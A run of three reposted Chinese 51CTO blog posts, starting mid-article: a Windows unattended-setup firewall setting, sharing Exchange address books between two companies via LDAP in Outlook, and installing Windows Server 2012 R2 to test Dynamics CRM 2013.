[WindowsFirewall.TurnOffFirewall] Mode = 0 上面的设置完全禁止了Windows防火墙。如果你希望打开Windows防火墙,但是想要 预设其中的一些设置,请在ref.chm文件的Unattended.txt > [WindowsFirewall]路径下查看详细内容。因为内容太多,因此这里不过多讨论。 至于更详细的内容,你可以查看部署工具中的ref.chm 文件。 本文转自sucre03 51CTO博客,原文链接:http://blog.51cto.com/sucre/394580,如需转载请自行联系原作者
最近很长一段时间由于工作忙的原因都没有把一些技术经验整理分享到博客上,向各位关注我的同仁们深表抱歉! 最近一段时间发现很多客户和同仁都纷纷向我提出一个问题,就是Exchange server若在平时向自己公司的员工作对外发布用Office Outlook做收信客户端的话,最好的方式自然是使用Outlook Anywhere,但是若两家公司(比如上下游企业、关系企业)之间业务往来非常的密集和平凡,时常会用到对方的通讯簿里的大量人员的邮件地址,但是呢两边公司又都有自己独立的域控制器和Exchange server,为了方便收发信件以前通常会有同仁将自己公司和对方公司的通讯簿进行手工的导出导入的动作,虽然这样做可以暂时的缓解一段时间,一旦对方和彼此的通讯簿有所调整都不能第一时间的进行同步,会导致一些滞后的问题。 那么从我个人的角度出发,若是能使用LDAP的方式来读取通讯簿的话,虽然配置上会比较麻烦一点,但是至少能保证彼此公司的通讯簿在各客户端的Office Outlook中显示的邮件地址一定是最新的,极大的方便了我们的业务上往来的沟通实时性。 谨以此文献给我们IT第一线的技术人员们! A. 准备工作 1. 首先在公司内部先确认自己是拥有活动目录的管理员以及Exchange server管理员权限 2. 以下的操作需要在共享通讯簿的公司的Exchange服务器上都要做一样的相关操作 3. 确保各方公司的防火墙由外到内都开放了需要LDAP进行通讯的Port B. 服务器端相关的设置步骤 1. 为了方便识别,我们在活动目录的域控制器上新建一个专门用来进行地址簿通讯的OU 2. 在新建的OU里边新建一个用来进行通讯簿验证和登录的账号,只需要给予一般默认的User权限即可 这边我们取名为AdressBook的一个账号。 这个账号本身不需要创建邮箱: 3. 此时我们在Mail这个OU里边确认已经创建了那么一些账号: C. 客户端的相关操作配置 1. 首先在Office Outlook端配置账号 2. 选择添加新目录或通讯簿 3. 输入邮件服务器的域名地址(这里是测试环境所以直接用IP地址),输入用来验证获取通讯簿专门所创建的那个账号和密码 4. 接下来点选“其他设置”,端口号默认就好,显示名称就输入自己喜欢的、好记的名称就行。 5. 点选搜索选项卡 这里输入相对可识别名称,因为我的域名是“mail.cn”,而我的通讯簿目录是“Mail”这个OU,则输入: Ou=mail,dc=mail,dc=cn。“服务器设置”的部分保持默认值就好。 此时就添加完毕。 6. 关闭Office Outlook,重启Office Outlook,则可以看到以下的效果: 此时在另外一家公司的服务器上也做这样的相同设置就能实现两家公司之间的通讯簿共享使用了。 好了,希望此文对大家的工作有所帮助! 本文转自xury 51CTO博客,原文链接:http://blog.51cto.com/xury007/268086,如需转载请自行联系原作者
Microsoft Dynamics CRM 2013要求Windows Server 2008 R2以上,本人就装最新的Windows Server 2012 R2 测试。 系统安装很简单,直接下载原版iso载入虚拟机运行即可以。 以下为一般步骤: 选第二个,选第一个的话,就变成DOS了,只能使用 Powershell 配置服务器了。 Windows Server 2012 R2 默认为320MB隐藏分区。 第一次进入桌面有点慢啊,以后就好了。 成功进入桌面后,如下图了: 好了,如果要以后测试方便的话,可以关闭 开关机事件提醒,密码复杂度组策略更改简单点,方便学习。 本文转自成杭 51CTO博客,原文链接:http://blog.51cto.com/hangtc/1671529,如需转载请自行联系原作者